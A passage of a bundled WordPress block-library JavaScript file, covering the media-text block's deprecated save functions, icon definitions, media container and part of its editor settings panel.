28337 "is-image-fill": imageFill
28338 });
28339 const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
28340 let gridTemplateColumns;
28341 if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
28342 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
28343 }
28344 const style = {
28345 gridTemplateColumns
28346 };
28347 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
28348 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28349 "figure",
28350 {
28351 className: "wp-block-media-text__media",
28352 style: backgroundStyles,
28353 children: (mediaTypeRenders[mediaType] || noop)()
28354 }
28355 ),
28356 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28357 "div",
28358 {
28359 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
28360 className: "wp-block-media-text__content"
28361 })
28362 }
28363 )
28364 ] });
28365 },
28366 migrate: migrateDefaultAlign
28367};
28368const media_text_deprecated_v3 = {
28369 attributes: {
28370 ...v0Attributes,
28371 isStackedOnMobile: {
28372 type: "boolean",
28373 default: true
28374 },
28375 backgroundColor: {
28376 type: "string"
28377 },
28378 customBackgroundColor: {
28379 type: "string"
28380 },
28381 mediaLink: {
28382 type: "string"
28383 },
28384 linkDestination: {
28385 type: "string"
28386 },
28387 linkTarget: {
28388 type: "string",
28389 source: "attribute",
28390 selector: "figure a",
28391 attribute: "target"
28392 },
28393 href: {
28394 type: "string",
28395 source: "attribute",
28396 selector: "figure a",
28397 attribute: "href"
28398 },
28399 rel: {
28400 type: "string",
28401 source: "attribute",
28402 selector: "figure a",
28403 attribute: "rel"
28404 },
28405 linkClass: {
28406 type: "string",
28407 source: "attribute",
28408 selector: "figure a",
28409 attribute: "class"
28410 },
28411 verticalAlignment: {
28412 type: "string"
28413 },
28414 imageFill: {
28415 type: "boolean"
28416 },
28417 focalPoint: {
28418 type: "object"
28419 }
28420 },
28421 migrate: (0,external_wp_compose_namespaceObject.compose)(media_text_deprecated_migrateCustomColors, migrateDefaultAlign),
28422 save({ attributes }) {
28423 const {
28424 backgroundColor,
28425 customBackgroundColor,
28426 isStackedOnMobile,
28427 mediaAlt,
28428 mediaPosition,
28429 mediaType,
28430 mediaUrl,
28431 mediaWidth,
28432 mediaId,
28433 verticalAlignment,
28434 imageFill,
28435 focalPoint,
28436 linkClass,
28437 href,
28438 linkTarget,
28439 rel
28440 } = attributes;
28441 const newRel = !rel ? void 0 : rel;
28442 let image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28443 "img",
28444 {
28445 src: mediaUrl,
28446 alt: mediaAlt,
28447 className: mediaId && mediaType === "image" ? `wp-image-${mediaId}` : null
28448 }
28449 );
28450 if (href) {
28451 image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28452 "a",
28453 {
28454 className: linkClass,
28455 href,
28456 target: linkTarget,
28457 rel: newRel,
28458 children: image
28459 }
28460 );
28461 }
28462 const mediaTypeRenders = {
28463 image: () => image,
28464 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
28465 };
28466 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
28467 "background-color",
28468 backgroundColor
28469 );
28470 const className = dist_clsx({
28471 "has-media-on-the-right": "right" === mediaPosition,
28472 "has-background": backgroundClass || customBackgroundColor,
28473 [backgroundClass]: backgroundClass,
28474 "is-stacked-on-mobile": isStackedOnMobile,
28475 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
28476 "is-image-fill": imageFill
28477 });
28478 const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
28479 let gridTemplateColumns;
28480 if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
28481 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
28482 }
28483 const style = {
28484 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
28485 gridTemplateColumns
28486 };
28487 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className, style, children: [
28488 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28489 "figure",
28490 {
28491 className: "wp-block-media-text__media",
28492 style: backgroundStyles,
28493 children: (mediaTypeRenders[mediaType] || noop)()
28494 }
28495 ),
28496 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-media-text__content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
28497 ] });
28498 }
28499};
28500const media_text_deprecated_v2 = {
28501 attributes: {
28502 ...v0Attributes,
28503 backgroundColor: {
28504 type: "string"
28505 },
28506 customBackgroundColor: {
28507 type: "string"
28508 },
28509 mediaUrl: {
28510 type: "string",
28511 source: "attribute",
28512 selector: "figure video,figure img",
28513 attribute: "src"
28514 },
28515 verticalAlignment: {
28516 type: "string"
28517 },
28518 imageFill: {
28519 type: "boolean"
28520 },
28521 focalPoint: {
28522 type: "object"
28523 }
28524 },
28525 migrate: (0,external_wp_compose_namespaceObject.compose)(media_text_deprecated_migrateCustomColors, migrateDefaultAlign),
28526 save({ attributes }) {
28527 const {
28528 backgroundColor,
28529 customBackgroundColor,
28530 isStackedOnMobile,
28531 mediaAlt,
28532 mediaPosition,
28533 mediaType,
28534 mediaUrl,
28535 mediaWidth,
28536 mediaId,
28537 verticalAlignment,
28538 imageFill,
28539 focalPoint
28540 } = attributes;
28541 const mediaTypeRenders = {
28542 image: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28543 "img",
28544 {
28545 src: mediaUrl,
28546 alt: mediaAlt,
28547 className: mediaId && mediaType === "image" ? `wp-image-${mediaId}` : null
28548 }
28549 ),
28550 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
28551 };
28552 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
28553 "background-color",
28554 backgroundColor
28555 );
28556 const className = dist_clsx({
28557 "has-media-on-the-right": "right" === mediaPosition,
28558 [backgroundClass]: backgroundClass,
28559 "is-stacked-on-mobile": isStackedOnMobile,
28560 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
28561 "is-image-fill": imageFill
28562 });
28563 const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
28564 let gridTemplateColumns;
28565 if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
28566 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
28567 }
28568 const style = {
28569 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
28570 gridTemplateColumns
28571 };
28572 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className, style, children: [
28573 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28574 "figure",
28575 {
28576 className: "wp-block-media-text__media",
28577 style: backgroundStyles,
28578 children: (mediaTypeRenders[mediaType] || noop)()
28579 }
28580 ),
28581 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-media-text__content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
28582 ] });
28583 }
28584};
28585const media_text_deprecated_v1 = {
28586 attributes: {
28587 ...v0Attributes,
28588 backgroundColor: {
28589 type: "string"
28590 },
28591 customBackgroundColor: {
28592 type: "string"
28593 },
28594 mediaUrl: {
28595 type: "string",
28596 source: "attribute",
28597 selector: "figure video,figure img",
28598 attribute: "src"
28599 }
28600 },
28601 migrate: migrateDefaultAlign,
28602 save({ attributes }) {
28603 const {
28604 backgroundColor,
28605 customBackgroundColor,
28606 isStackedOnMobile,
28607 mediaAlt,
28608 mediaPosition,
28609 mediaType,
28610 mediaUrl,
28611 mediaWidth
28612 } = attributes;
28613 const mediaTypeRenders = {
28614 image: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: mediaUrl, alt: mediaAlt }),
28615 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
28616 };
28617 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
28618 "background-color",
28619 backgroundColor
28620 );
28621 const className = dist_clsx({
28622 "has-media-on-the-right": "right" === mediaPosition,
28623 [backgroundClass]: backgroundClass,
28624 "is-stacked-on-mobile": isStackedOnMobile
28625 });
28626 let gridTemplateColumns;
28627 if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
28628 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
28629 }
28630 const style = {
28631 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
28632 gridTemplateColumns
28633 };
28634 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className, style, children: [
28635 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("figure", { className: "wp-block-media-text__media", children: (mediaTypeRenders[mediaType] || noop)() }),
28636 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-media-text__content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
28637 ] });
28638 }
28639};
28640var media_text_deprecated_deprecated_default = [media_text_deprecated_v7, media_text_deprecated_v6, media_text_deprecated_v5, media_text_deprecated_v4, media_text_deprecated_v3, media_text_deprecated_v2, media_text_deprecated_v1];
28641
28642
28643;// ./node_modules/@wordpress/icons/build-module/library/pull-left.js
28644
28645
28646var pull_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 18h6V6H4v12zm9-9.5V10h7V8.5h-7zm0 7h7V14h-7v1.5z" }) });
28647
28648
28649;// ./node_modules/@wordpress/icons/build-module/library/pull-right.js
28650
28651
28652var pull_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14 6v12h6V6h-6zM4 10h7V8.5H4V10zm0 5.5h7V14H4v1.5z" }) });
28653
28654
28655;// ./node_modules/@wordpress/icons/build-module/library/media.js
28656
28657
28658var media_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
28659 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m7 6.5 4 2.5-4 2.5z" }),
28660 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28661 external_wp_primitives_namespaceObject.Path,
28662 {
28663 fillRule: "evenodd",
28664 clipRule: "evenodd",
28665 d: "m5 3c-1.10457 0-2 .89543-2 2v14c0 1.1046.89543 2 2 2h14c1.1046 0 2-.8954 2-2v-14c0-1.10457-.8954-2-2-2zm14 1.5h-14c-.27614 0-.5.22386-.5.5v10.7072l3.62953-2.6465c.25108-.1831.58905-.1924.84981-.0234l2.92666 1.8969 3.5712-3.4719c.2911-.2831.7545-.2831 1.0456 0l2.9772 2.8945v-9.3568c0-.27614-.2239-.5-.5-.5zm-14.5 14.5v-1.4364l4.09643-2.987 2.99567 1.9417c.2936.1903.6798.1523.9307-.0917l3.4772-3.3806 3.4772 3.3806.0228-.0234v2.5968c0 .2761-.2239.5-.5.5h-14c-.27614 0-.5-.2239-.5-.5z"
28666 }
28667 )
28668] });
28669
28670
28671;// ./node_modules/@wordpress/block-library/build-module/media-text/image-fill.js
28672function imageFillStyles(url, focalPoint) {
28673 return url ? {
28674 objectPosition: focalPoint ? `${Math.round(focalPoint.x * 100)}% ${Math.round(
28675 focalPoint.y * 100
28676 )}%` : `50% 50%`
28677 } : {};
28678}
28679
28680
28681;// ./node_modules/@wordpress/block-library/build-module/media-text/media-container.js
28682
28683
28684
28685
28686
28687
28688
28689
28690
28691
28692
28693
28694const media_container_ALLOWED_MEDIA_TYPES = ["image", "video"];
28695const media_container_noop = () => {
28696};
28697const ResizableBoxContainer = (0,external_wp_element_namespaceObject.forwardRef)(
28698 ({ isSelected, isStackedOnMobile, ...props }, ref) => {
28699 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("small", "<");
28700 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28701 external_wp_components_namespaceObject.ResizableBox,
28702 {
28703 ref,
28704 showHandle: isSelected && (!isMobile || !isStackedOnMobile),
28705 ...props
28706 }
28707 );
28708 }
28709);
28710function ToolbarEditButton({
28711 mediaId,
28712 mediaUrl,
28713 onSelectMedia,
28714 toggleUseFeaturedImage,
28715 useFeaturedImage
28716}) {
28717 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28718 external_wp_blockEditor_namespaceObject.MediaReplaceFlow,
28719 {
28720 mediaId,
28721 mediaURL: mediaUrl,
28722 allowedTypes: media_container_ALLOWED_MEDIA_TYPES,
28723 accept: "image/*,video/*",
28724 onSelect: onSelectMedia,
28725 onToggleFeaturedImage: toggleUseFeaturedImage,
28726 useFeaturedImage,
28727 onReset: () => onSelectMedia(void 0)
28728 }
28729 ) });
28730}
28731function PlaceholderContainer({
28732 className,
28733 mediaUrl,
28734 onSelectMedia,
28735 toggleUseFeaturedImage
28736}) {
28737 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
28738 const onUploadError = (message) => {
28739 createErrorNotice(message, { type: "snackbar" });
28740 };
28741 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28742 external_wp_blockEditor_namespaceObject.MediaPlaceholder,
28743 {
28744 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: media_default }),
28745 labels: {
28746 title: (0,external_wp_i18n_namespaceObject.__)("Media area")
28747 },
28748 className,
28749 onSelect: onSelectMedia,
28750 accept: "image/*,video/*",
28751 onToggleFeaturedImage: toggleUseFeaturedImage,
28752 allowedTypes: media_container_ALLOWED_MEDIA_TYPES,
28753 onError: onUploadError,
28754 disableMediaButtons: mediaUrl
28755 }
28756 );
28757}
28758function MediaContainer(props, ref) {
28759 const {
28760 className,
28761 commitWidthChange,
28762 focalPoint,
28763 imageFill,
28764 isSelected,
28765 isStackedOnMobile,
28766 mediaAlt,
28767 mediaId,
28768 mediaPosition,
28769 mediaType,
28770 mediaUrl,
28771 mediaWidth,
28772 onSelectMedia,
28773 onWidthChange,
28774 enableResize,
28775 toggleUseFeaturedImage,
28776 useFeaturedImage,
28777 featuredImageURL,
28778 featuredImageAlt,
28779 refMedia
28780 } = props;
28781 const isTemporaryMedia = !mediaId && (0,external_wp_blob_namespaceObject.isBlobURL)(mediaUrl);
28782 const { toggleSelection } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
28783 if (mediaUrl || featuredImageURL || useFeaturedImage) {
28784 const onResizeStart = () => {
28785 toggleSelection(false);
28786 };
28787 const onResize = (event, direction, elt) => {
28788 onWidthChange(parseInt(elt.style.width));
28789 };
28790 const onResizeStop = (event, direction, elt) => {
28791 toggleSelection(true);
28792 commitWidthChange(parseInt(elt.style.width));
28793 };
28794 const enablePositions = {
28795 right: enableResize && mediaPosition === "left",
28796 left: enableResize && mediaPosition === "right"
28797 };
28798 const positionStyles = mediaType === "image" && imageFill ? imageFillStyles(mediaUrl || featuredImageURL, focalPoint) : {};
28799 const mediaTypeRenderers = {
28800 image: () => useFeaturedImage && featuredImageURL ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28801 "img",
28802 {
28803 ref: refMedia,
28804 src: featuredImageURL,
28805 alt: featuredImageAlt,
28806 style: positionStyles
28807 }
28808 ) : mediaUrl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28809 "img",
28810 {
28811 ref: refMedia,
28812 src: mediaUrl,
28813 alt: mediaAlt,
28814 style: positionStyles
28815 }
28816 ),
28817 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, ref: refMedia, src: mediaUrl })
28818 };
28819 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28820 ResizableBoxContainer,
28821 {
28822 as: "figure",
28823 className: dist_clsx(
28824 className,
28825 "editor-media-container__resizer",
28826 { "is-transient": isTemporaryMedia }
28827 ),
28828 size: { width: mediaWidth + "%" },
28829 minWidth: "10%",
28830 maxWidth: "100%",
28831 enable: enablePositions,
28832 onResizeStart,
28833 onResize,
28834 onResizeStop,
28835 axis: "x",
28836 isSelected,
28837 isStackedOnMobile,
28838 ref,
28839 children: [
28840 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28841 ToolbarEditButton,
28842 {
28843 onSelectMedia,
28844 mediaUrl: useFeaturedImage && featuredImageURL ? featuredImageURL : mediaUrl,
28845 mediaId,
28846 toggleUseFeaturedImage,
28847 useFeaturedImage
28848 }
28849 ),
28850 (mediaTypeRenderers[mediaType] || media_container_noop)(),
28851 isTemporaryMedia && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
28852 !useFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PlaceholderContainer, { ...props }),
28853 !featuredImageURL && useFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28854 external_wp_components_namespaceObject.Placeholder,
28855 {
28856 className: "wp-block-media-text--placeholder-image",
28857 style: positionStyles,
28858 withIllustration: true
28859 }
28860 )
28861 ]
28862 }
28863 );
28864 }
28865 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PlaceholderContainer, { ...props });
28866}
28867var media_container_default = (0,external_wp_element_namespaceObject.forwardRef)(MediaContainer);
28868
28869
28870;// ./node_modules/@wordpress/block-library/build-module/media-text/edit.js
28871
28872
28873
28874
28875
28876
28877
28878
28879
28880
28881
28882
28883
28884
28885const { ResolutionTool: edit_ResolutionTool } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
28886const applyWidthConstraints = (width) => Math.max(
28887 WIDTH_CONSTRAINT_PERCENTAGE,
28888 Math.min(width, 100 - WIDTH_CONSTRAINT_PERCENTAGE)
28889);
28890function getImageSourceUrlBySizeSlug(image, slug) {
28891 return image?.media_details?.sizes?.[slug]?.source_url;
28892}
28893function edit_attributesFromMedia({
28894 attributes: { linkDestination, href },
28895 setAttributes
28896}) {
28897 return (media) => {
28898 if (!media || !media.url) {
28899 setAttributes({
28900 mediaAlt: void 0,
28901 mediaId: void 0,
28902 mediaType: void 0,
28903 mediaUrl: void 0,
28904 mediaLink: void 0,
28905 href: void 0,
28906 focalPoint: void 0,
28907 useFeaturedImage: false
28908 });
28909 return;
28910 }
28911 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
28912 media.type = (0,external_wp_blob_namespaceObject.getBlobTypeByURL)(media.url);
28913 }
28914 let mediaType;
28915 let src;
28916 if (media.media_type) {
28917 if (media.media_type === "image") {
28918 mediaType = "image";
28919 } else {
28920 mediaType = "video";
28921 }
28922 } else {
28923 mediaType = media.type;
28924 }
28925 if (mediaType === "image") {
28926 src = media.sizes?.large?.url || // eslint-disable-next-line camelcase
28927 media.media_details?.sizes?.large?.source_url;
28928 }
28929 let newHref = href;
28930 if (linkDestination === media_text_constants_LINK_DESTINATION_MEDIA) {
28931 newHref = media.url;
28932 }
28933 if (linkDestination === media_text_constants_LINK_DESTINATION_ATTACHMENT) {
28934 newHref = media.link;
28935 }
28936 setAttributes({
28937 mediaAlt: media.alt,
28938 mediaId: media.id,
28939 mediaType,
28940 mediaUrl: src || media.url,
28941 mediaLink: media.link || void 0,
28942 href: newHref,
28943 focalPoint: void 0,
28944 useFeaturedImage: false
28945 });
28946 };
28947}
28948function MediaTextResolutionTool({ image, value, onChange }) {
28949 const { imageSizes } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
28950 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
28951 return {
28952 imageSizes: getSettings().imageSizes
28953 };
28954 }, []);
28955 if (!imageSizes?.length) {
28956 return null;
28957 }
28958 const imageSizeOptions = imageSizes.filter(({ slug }) => getImageSourceUrlBySizeSlug(image, slug)).map(({ name, slug }) => ({ value: slug, label: name }));
28959 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28960 edit_ResolutionTool,
28961 {
28962 value,
28963 defaultValue: media_text_constants_DEFAULT_MEDIA_SIZE_SLUG,
28964 options: imageSizeOptions,
28965 onChange
28966 }
28967 );
28968}
28969function MediaTextEdit({
28970 attributes,
28971 isSelected,
28972 setAttributes,
28973 context: { postId, postType }
28974}) {
28975 const {
28976 focalPoint,
28977 href,
28978 imageFill,
28979 isStackedOnMobile,
28980 linkClass,
28981 linkDestination,
28982 linkTarget,
28983 mediaAlt,
28984 mediaId,
28985 mediaPosition,
28986 mediaType,
28987 mediaUrl,
28988 mediaWidth,
28989 mediaSizeSlug,
28990 rel,
28991 verticalAlignment,
28992 allowedBlocks,
28993 useFeaturedImage
28994 } = attributes;
28995 const [featuredImage] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
28996 "postType",
28997 postType,
28998 "featured_media",
28999 postId
29000 );
29001 const { featuredImageMedia } = (0,external_wp_data_namespaceObject.useSelect)(
29002 (select) => {
29003 return {
29004 featuredImageMedia: featuredImage && useFeaturedImage ? select(external_wp_coreData_namespaceObject.store).getEntityRecord(
29005 "postType",
29006 "attachment",
29007 featuredImage,
29008 {
29009 context: "view"
29010 }
29011 ) : void 0
29012 };
29013 },
29014 [featuredImage, useFeaturedImage]
29015 );
29016 const { image } = (0,external_wp_data_namespaceObject.useSelect)(
29017 (select) => {
29018 return {
29019 image: mediaId && isSelected ? select(external_wp_coreData_namespaceObject.store).getEntityRecord(
29020 "postType",
29021 "attachment",
29022 mediaId,
29023 {
29024 context: "view"
29025 }
29026 ) : null
29027 };
29028 },
29029 [isSelected, mediaId]
29030 );
29031 const featuredImageURL = useFeaturedImage ? featuredImageMedia?.source_url : "";
29032 const featuredImageAlt = useFeaturedImage ? featuredImageMedia?.alt_text : "";
29033 const toggleUseFeaturedImage = () => {
29034 setAttributes({
29035 imageFill: false,
29036 mediaType: "image",
29037 mediaId: void 0,
29038 mediaUrl: void 0,
29039 mediaAlt: void 0,
29040 mediaLink: void 0,
29041 linkDestination: void 0,
29042 linkTarget: void 0,
29043 linkClass: void 0,
29044 rel: void 0,
29045 href: void 0,
29046 useFeaturedImage: !useFeaturedImage
29047 });
29048 };
29049 const refMedia = (0,external_wp_element_namespaceObject.useRef)();
29050 const imperativeFocalPointPreview = (value) => {
29051 const { style: style2 } = refMedia.current;
29052 const { x, y } = value;
29053 style2.objectPosition = `${x * 100}% ${y * 100}%`;
29054 };
29055 const [temporaryMediaWidth, setTemporaryMediaWidth] = (0,external_wp_element_namespaceObject.useState)(null);
29056 const onSelectMedia = edit_attributesFromMedia({ attributes, setAttributes });
29057 const onSetHref = (props) => {
29058 setAttributes(props);
29059 };
29060 const onWidthChange = (width) => {
29061 setTemporaryMediaWidth(applyWidthConstraints(width));
29062 };
29063 const commitWidthChange = (width) => {
29064 setAttributes({
29065 mediaWidth: applyWidthConstraints(width)
29066 });
29067 setTemporaryMediaWidth(null);
29068 };
29069 const classNames = dist_clsx({
29070 "has-media-on-the-right": "right" === mediaPosition,
29071 "is-selected": isSelected,
29072 "is-stacked-on-mobile": isStackedOnMobile,
29073 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
29074 "is-image-fill-element": imageFill
29075 });
29076 const widthString = `${temporaryMediaWidth || mediaWidth}%`;
29077 const gridTemplateColumns = "right" === mediaPosition ? `1fr ${widthString}` : `${widthString} 1fr`;
29078 const style = {
29079 gridTemplateColumns,
29080 msGridColumns: gridTemplateColumns
29081 };
29082 const onMediaAltChange = (newMediaAlt) => {
29083 setAttributes({ mediaAlt: newMediaAlt });
29084 };
29085 const onVerticalAlignmentChange = (alignment) => {
29086 setAttributes({ verticalAlignment: alignment });
29087 };
29088 const updateImage = (newMediaSizeSlug) => {
29089 const newUrl = getImageSourceUrlBySizeSlug(image, newMediaSizeSlug);
29090 if (!newUrl) {
29091 return null;
29092 }
29093 setAttributes({
29094 mediaUrl: newUrl,
29095 mediaSizeSlug: newMediaSizeSlug
29096 });
29097 };
29098 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
29099 const mediaTextGeneralSettings = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
29100 external_wp_components_namespaceObject.__experimentalToolsPanel,
29101 {
29102 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
29103 resetAll: () => {
29104 setAttributes({
29105 isStackedOnMobile: true,
29106 imageFill: false,
29107 mediaAlt: "",
29108 focalPoint: void 0,
29109 mediaWidth: 50
29110 });
29111 updateImage(media_text_constants_DEFAULT_MEDIA_SIZE_SLUG);
29112 },
29113 dropdownMenuProps,
29114 children: [
29115 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29116 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
29117 {
29118 label: (0,external_wp_i18n_namespaceObject.__)("Media width"),
29119 isShownByDefault: true,
29120 hasValue: () => mediaWidth !== 50,
29121 onDeselect: () => setAttributes({ mediaWidth: 50 }),
29122 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29123 external_wp_components_namespaceObject.RangeControl,
29124 {
29125 __nextHasNoMarginBottom: true,
29126 __next40pxDefaultSize: true,
29127 label: (0,external_wp_i18n_namespaceObject.__)("Media width"),
29128 value: temporaryMediaWidth || mediaWidth,
29129 onChange: commitWidthChange,
29130 min: WIDTH_CONSTRAINT_PERCENTAGE,
29131 max: 100 - WIDTH_CONSTRAINT_PERCENTAGE
29132 }
29133 )
29134 }
29135 ),
29136 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29137 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
29138 {
29139 label: (0,external_wp_i18n_namespaceObject.__)("Stack on mobile"),
29140 isShownByDefault: true,
29141 hasValue: () => !isStackedOnMobile,
29142 onDeselect: () => setAttributes({ isStackedOnMobile: true }),
29143 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29144 external_wp_components_namespaceObject.ToggleControl,
29145 {
29146 __nextHasNoMarginBottom: true,
29147 label: (0,external_wp_i18n_namespaceObject.__)("Stack on mobile"),
29148 checked: isStackedOnMobile,
29149 onChange: () => setAttributes({
29150 isStackedOnMobile: !isStackedOnMobile
29151 })
29152 }
29153 )
29154 }
29155 ),
29156 mediaType === "image" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29157 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
29158 {
29159 label: (0,external_wp_i18n_namespaceObject.__)("Crop image to fill"),
29160 isShownByDefault: true,
29161 hasValue: () => !!imageFill,
29162 onDeselect: () => setAttributes({ imageFill: false }),
29163 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29164 external_wp_components_namespaceObject.ToggleControl,
29165 {
29166 __nextHasNoMarginBottom: true,
29167 label: (0,external_wp_i18n_namespaceObject.__)("Crop image to fill"),
29168 checked: !!imageFill,
29169 onChange: () => setAttributes({
29170 imageFill: !imageFill
29171 })
29172 }
29173 )
29174 }
29175 ),
29176 imageFill && (mediaUrl || featuredImageURL) && mediaType === "image" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29177 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
29178 {
29179 label: (0,external_wp_i18n_namespaceObject.__)("Focal point"),
29180 isShownByDefault: true,
29181 hasValue: () => !!focalPoint,
29182 onDeselect: () => setAttributes({ focalPoint: void 0 }),
29183 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29184 external_wp_components_namespaceObject.FocalPointPicker,
29185 {
29186 __nextHasNoMarginBottom: true,
29187 label: (0,external_wp_i18n_namespaceObject.__)("Focal point"),
29188 url: useFeaturedImage && featuredImageURL ? featuredImageURL : mediaUrl,
29189 value: focalPoint,
29190 onChange: (value) => setAttributes({ focalPoint: value }),
